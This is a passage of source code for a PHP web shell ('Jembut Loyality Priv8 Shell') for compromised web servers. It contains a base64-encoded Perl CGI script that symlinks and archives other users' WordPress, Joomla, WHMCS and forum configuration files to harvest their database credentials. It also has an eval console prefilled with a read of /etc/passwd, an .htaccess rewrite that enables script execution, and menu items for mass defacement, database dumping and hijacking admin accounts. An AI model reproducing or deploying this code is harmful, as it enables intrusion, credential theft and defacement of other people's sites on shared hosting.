556$configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPlByaXY4IFNDUjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IHRhaG9tYSwgdmVyZGFuYSwgQXJpYWw7DQogZm9udC1zaXplOiBtZWRpdW07DQogY29sb3I6ICNGRkZGRkY7DQogYmFja2dyb3VuZC1jb2xvcjogIzY2NjY2NjsNCiB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQogICAgKCR1c2VyKSA9IEBfOw0KJG1zciA9IHF4e3B3ZH07DQoka29sYT0kbXNyLiIvIi4kdXNlcjsNCiRrb2xhPX5zL1xuLy9nOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYSAtIGhvbWUudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd29yZHByZXNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcyAtIHdlYi50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywka29sYS4nLSBDIE0gRiAudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGtvbGEuJy0gQyBNIEYgLSBmb3J1bS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGtvbGEuJy0gTXlCQi50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luYy9jb25maWcucGhwJywka29sYS4nLSBNeUJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLSBPdGhlci50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJywka29sYS4nLSBCYWxpdGJhbmcudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudHMudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmdzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jcyAtIHdobWNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gd2htIC0gd2htLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLSBWQnVsbGV0aW4gLSBmb3J1bS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCcsJGtvbGEuJwktIFBocEJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jIC0gd2htYy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJwktIHdobWNzMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1tYW5nZXdobWNzLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1teXNob3AudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnQudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnRzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2FsZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd3AudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd3dvcmRwcmVzcyAtIHdwIC0gYmV0YS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBiZXRhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtcHJlc3MudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLXdvcmRwcmVzcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd29yZHByZXNzLWJldGEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC1uZXdzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbmV3LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBibG9ncy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBob21lLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gcHJvdGFsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIHNpdGUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSB0ZXN0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhIC0gam9vbWxhIC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBwcm90YWwudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gam9vLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGNtcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gc2l0ZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbmV3cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBuZXcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGhvbWUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHZiLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0gdmIzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY3BhbmVsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1wYW5lbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RpbmcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictemVuY2FydC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLSB6ZW5jYXJ0IC0gc2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYgLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCRrb2xhLictIHNtZiAtIGZvcnVtLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGtvbGEuJy0gc21mIC0gZm9ydW1zLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHVwbG9hZCAudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2wvY29uZmlnLnBocCcsJGtvbGEuJy0gbWFsYXkudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9zeXN0ZW0vc2lzdGVtLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOyANCiB9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPiZuYnNwOzwvcD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5bGU9IndpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MDBweCI+PC90ZXh0YXJlYT4NCjxiciAvPjxiciAvPg0KPGlucHV0IG5hbWU9InRhciIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAyMTJweCIgLz48YnIgLz48YnIgLz4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYWphciAuLiEiIHN0eWxlPSJ3aWR0aDogOTlweCIgLz4NCjxiciAvPg0KPC9mb3JtPic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPkRvbmUgISE8L3A+DQo8cD4mbmJzcDs8L3A+JzsNCmlmKCRGT1JNe3Rhcn0gbmUgIiIpew0Kb3BlbihJTkZPLCAidGFyLnRtcCIpOw0KQGxpbmVzID08SU5GTz4gOw0KY2xvc2UoSU5GTyk7DQpzeXN0ZW0oQGxpbmVzKTsNCnByaW50JzxwPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+IGRvd25sb2FkICBmaWxlPC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7';
557?>
558<html>
559<head>
560<title>:) JembutLoyality Shell :)</title>
561<script type="text/javascript">
562function tukar(lama,baru){
563 document.getElementById(lama).style.display = 'none';
564 document.getElementById(baru).style.display = 'block';
565}
566</script>
567<style type="text/css">
568body{
569 background:#000000;;
570}
571a {
572text-decoration:none;
573}
574a:hover{
575border-bottom:0px solid aqua;
576}
577*{
578 font-size:11px;
579 font-family:Lucida Grande,Lucida Sans Unicode,Lucida Sans;
580 color:#FF1493;
581}
582#menu{
583 background:#000000;
584 margin:8px 2px 4px 2px;
585}
586#menu a{
587 padding:2px 7px;
588 margin:0;
589 background:#BFC7C6;
590 text-decoration:none;
591 letter-spacing:2px;
592 -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
593
594}
595#menu a:hover{
596 background:black;
597 border-bottom:1px solid #FFFF00;
598 border-top:1px solid #FFFF00;
599}
600.tabnet{
601 margin:15px auto 0 auto;
602 border: 1px solid #FFFF00;
603}
604.main {
605 width:100%;
606}
607.gaya {
608 color: white;
609}
610.inputz{
611 background:#111111;
612 border:0;
613 padding:2px;
614 border-bottom:1px solid #222222;
615 border-top:1px solid #222222;
616}
617.inputzbut{
618 background:#111111;
619 color:white;
620 margin:0 4px;
621 border:1px solid #444444;
622
623}
624.inputz:hover
625 border-bottom:1px solid white;
626 border-top:1px solid white;
627
628}
629.inputzbut:hover{
630 border-bottom:1px solid white;
631 border-top:1px solid white;
632}
633.output {
634 margin:auto;
635 border:1px solid aqua;
636 width:100%;
637 height:400px;
638 background:#000000;
639 padding:0 2px;
640}
641.cmdbox{
642 width:100%;
643}
644.head_info{
645 padding: 0 4px;
646}
647.jaya{ font-family: ;}
648
649.kerupuk{
650 font-size:50px;
651 padding:0;
652 color:red;
653}
654.kerupuk_1{
655 text-align:center;
656 margin:0 4px 0 0;
657 padding:0 4px 0 0;
658 border-right:1px solid #333333;
659}
660.phpinfo table{
661 width:100%;
662 padding:0 0 0 0;
663}
664.phpinfo td{
665 background:#111111;
666 color:#cccccc;
667padding:6px 8px;;
668}
669.phpinfo th, th{
670 background:#191919;
671 border-bottom:1px solid #333333;
672font-weight:normal;
673}
674.phpinfo h2, .phpinfo h2 a{
675 text-align:center;
676 font-size:16px;
677 padding:0;
678 margin:30px 0 0 0;
679 background:aqua;
680 padding:4px 0;
681}
682.explore{
683width:100%;
684}
685.explore a {
686text-decoration:none;
687}
688.explore td{
689border-bottom:1px solid #333333;
690padding:0 8px;
691line-height:24px;
692}
693.explore th{
694padding:3px 8px;
695font-weight:normal;
696}
697.explore th:hover , .phpinfo th:hover{
698border-bottom:1px solid aqua;
699}
700.explore tr:hover{
701background:gray;
702}
703.viewfile{
704background:white;
705color:#000000;
706margin:4px 2px;
707padding:8px;
708}
709.sembunyi{
710display:none;
711padding:0;margin:0;
712}
713</style></head>
714<body onLoad="document.getElementById('cmd').focus();">
715<!-- head info start here -->
716<div class="main">
717<center>
718<hr color=black width=100%>
719<img src="http://orig05.deviantart.net/a3e6/f/2012/152/4/7/killua_kawaii_chuu__by_renalyrica-d51vz2t.png" width="412" height="215"/><a/><br />
720<a href="javascript:void(0)" onclick="location.reload();"><h2><center>Jembut Loyality Priv8 Shell</center></h2></a>
721</center>
722<a href="javascript:void(0)" onclick="location.reload();"><h2><center>-= Recoded by Kapaljetz666 =-</center></h2></a>
723<hr color=black width=100%>
724</div>
725<center>
726<td><?php echo $buff; ?></td>
727<hr color=black width=100%>
728
729
730
731<!-- head info end here -->
732<!-- menu start -->
733<div id="menu">
734<a href="?<?php echo "y=".$pwd; ?>">Home</a>
735<a href="?<?php echo "y=".$pwd; ?>&x=shell">Shell</a>
736<a href="?<?php echo "y=".$pwd; ?>&x=php">Eval</a>
737<a href="?<?php echo "y=".$pwd; ?>&x=mysql">Mysql</a>
738<a href="?<?php echo "y=".$pwd; ?>&x=jumping">Jumping</a>
739<a href="?<?php echo "y=".$pwd; ?>&x=grabc">Config Grabber</a>
740<a href="?<?php echo "y=".$pwd; ?>&x=sec">Symlink Server</a>
741<a href="?<?php echo "y=".$pwd; ?>&x=sf">Symlink File</a>
742<a href="?<?php echo "y=".$pwd; ?>&x=dv">/var/named</a>
743<a href="?<?php echo "y=".$pwd; ?>&x=dump">DB Dump</a>
744<br><br>
745<a href="?<?php echo "y=".$pwd; ?>&x=upload">Upload</a>
746<a href="?<?php echo "y=".$pwd; ?>&x=ggwp">Wordpress Auto Edit User</a>
747<a href="?<?php echo "y=".$pwd; ?>&x=joom">Joomla Auto Edit User</a>
748<a href="?<?php echo "y=".$pwd; ?>&x=phpinfo">PhpInfo</a>
749<a href="?<?php echo "y=".$pwd; ?>&x=mass">Mass Deface</a>
750<a href="?<?php echo "y=".$pwd; ?>&x=hash">Hash</a>
751<a href="?<?php echo "y=".$pwd; ?>&x=hashid">Hash ID</a>
752<a href="?<?php echo "y=".$pwd; ?>&x=cpanel">Cpanel Tools</a>
753<a href="?<?php echo "y=".$pwd; ?>&x=netsploit">NetSploit</a>
754<a href="?<?php echo "y=".$pwd; ?>&x=about">About</a>
755<a href="?<?php echo "y=".$pwd; ?>&x=logout">Logout</a>
756
757</div>
758<!-- menu end -->
759
760<?php
761@ini_set('display_errors', 0);
762if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?>
763<form action="?y=<?php echo $pwd; ?>&x=php" method="post">
764<table class="cmdbox">
765<tr><td>
766<textarea class="output" name="cmd" id="cmd">
767<?php
768if(isset($_POST['submitcmd'])) {
769 echo eval(magicboom($_POST['cmd']));
770}
771else echo "echo file_get_contents('/etc/passwd');";
772?>
773</textarea>
774<tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
775</table>
776</form>
777
778<?php }
779
780elseif(isset($_GET['x']) && ($_GET['x'] == 'sql'))
781 {
782 ?>
783<form action="?y=<?php echo $pwd; ?>&x=sql" method="post">
784<?php
785echo "<center/><br/><b><font color=white>Mysql Interface by S4MP4H</font></b><br><br>";
786 mkdir('mysql', 0755);
787 chdir('mysql');
788 $akses = ".htaccess";
789 $buka_lah = "$akses";
790 $buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
791 $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
792AddType application/x-httpd-php .cpc
793";
794 fwrite ( $buka , $metin ) ;
795 fclose ($buka);
796$sqlshell = 'PD8NCiRQQVNTV09SRCA9ICJyb290X3hoYWhheCI7DQokVVNFUk5BTUUgPSAieGhhaGF4IjsNCmlmICggZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7DQoJJG9ub2ZmID0gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpOw0KfSBlbHNlIHsNCgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOw0KfQ0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfQ09PS0lFX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfUE9TVF9GSUxFUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfR0VUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfRU5WX1ZBUlMsIEVYVFJfU0tJUCk7DQp9DQoNCmZ1bmN0aW9uIGxvZ29uKCkgew0KCWdsb2JhbCAkUEhQX1NFTEY7DQoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICk7DQoJZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCU+PHRyPjx0ZD48Y2VudGVyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjxoMT5NeVNRTCBJbnRlcmZhY2UgQnkgUzRNUDRIPC9oMT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuI